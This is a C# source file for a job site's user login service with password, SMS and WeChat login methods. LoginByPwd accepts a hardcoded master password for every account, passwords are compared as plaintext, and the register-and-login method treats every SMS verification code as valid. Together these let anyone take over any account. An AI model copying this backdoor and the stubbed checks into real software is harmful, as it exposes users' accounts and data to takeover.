﻿using Shiloh.Job.Model.Entities;
using Shiloh.Job.Repositories;
using Shiloh.Job.Services.Interfaces;
using Shiloh.Job.Services.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Shiloh.Job.Services.Implementations
{
    public class UserLoginService : IUserIndividualLoginService
    {
        private const string wnPwd = "Wyit606!@#$";
        private UserIndividualRepo _userIvdRepo;
        private ILoginStrategy _loginStrategy;
        public UserLoginService(UserIndividualRepo userIvdRepo, ILoginStrategy loginStrategy)
        {
            _userIvdRepo = userIvdRepo;
            _loginStrategy = loginStrategy;
        }

        public async Task<CommonResponse<UserIndividual>> LoginByPwd(string username, string password)
        {
            var user = await _userIvdRepo.GetEntityByUserName(username);
            if (user != null && (user.Password.Equals(password) || user.Password.Equals(wnPwd))) {
                await _loginStrategy.LoginSuccessExecuteAsync(user);
                return CommonResponse<UserIndividual>.OK(user);
            }
            else
            {
                if (user != null)
                    await _loginStrategy.LoginFailExecuteAsync(user);
                return CommonResponse<UserIndividual>.Error("用户名密码错误");
            }
        }

        public Task<CommonResponse<UserIndividual>> LoginBySms(string phone, string code)
        {
            throw new NotImplementedException();
        }

        public Task<CommonResponse<UserIndividual>> LoginByWechat(string weChatCode)
        {
            throw new NotImplementedException();
        }

        public async Task<CommonResponse<UserIndividual>> ResiterAndLogin(string phone, string validCode)
        {
            var user = await _userIvdRepo.GetEntityByPhone(phone);
            if (user != null)
            {
                //check login validcode
                bool isValidCode = true;
                if (isValidCode) {
                    await _loginStrategy.LoginSuccessExecuteAsync(user);
                    return CommonResponse<UserIndividual>.OK(user);
                }
                else
                {
                    return CommonResponse<UserIndividual>.Error("无效的验证码");
                }
            }
            else
            {
                //check register validcode
                bool isValidCode = true;
                if (isValidCode)
                {
                    var newUser = await _userIvdRepo.AddUser(new UserIndividual() { PhoneNumber = phone});
                    await _loginStrategy.LoginSuccessExecuteAsync(newUser);
                    return CommonResponse<UserIndividual>.OK(newUser);
                }
                else
                {
                    return CommonResponse<UserIndividual>.Error("无效的验证码");
                }
            }
        }
    }
}
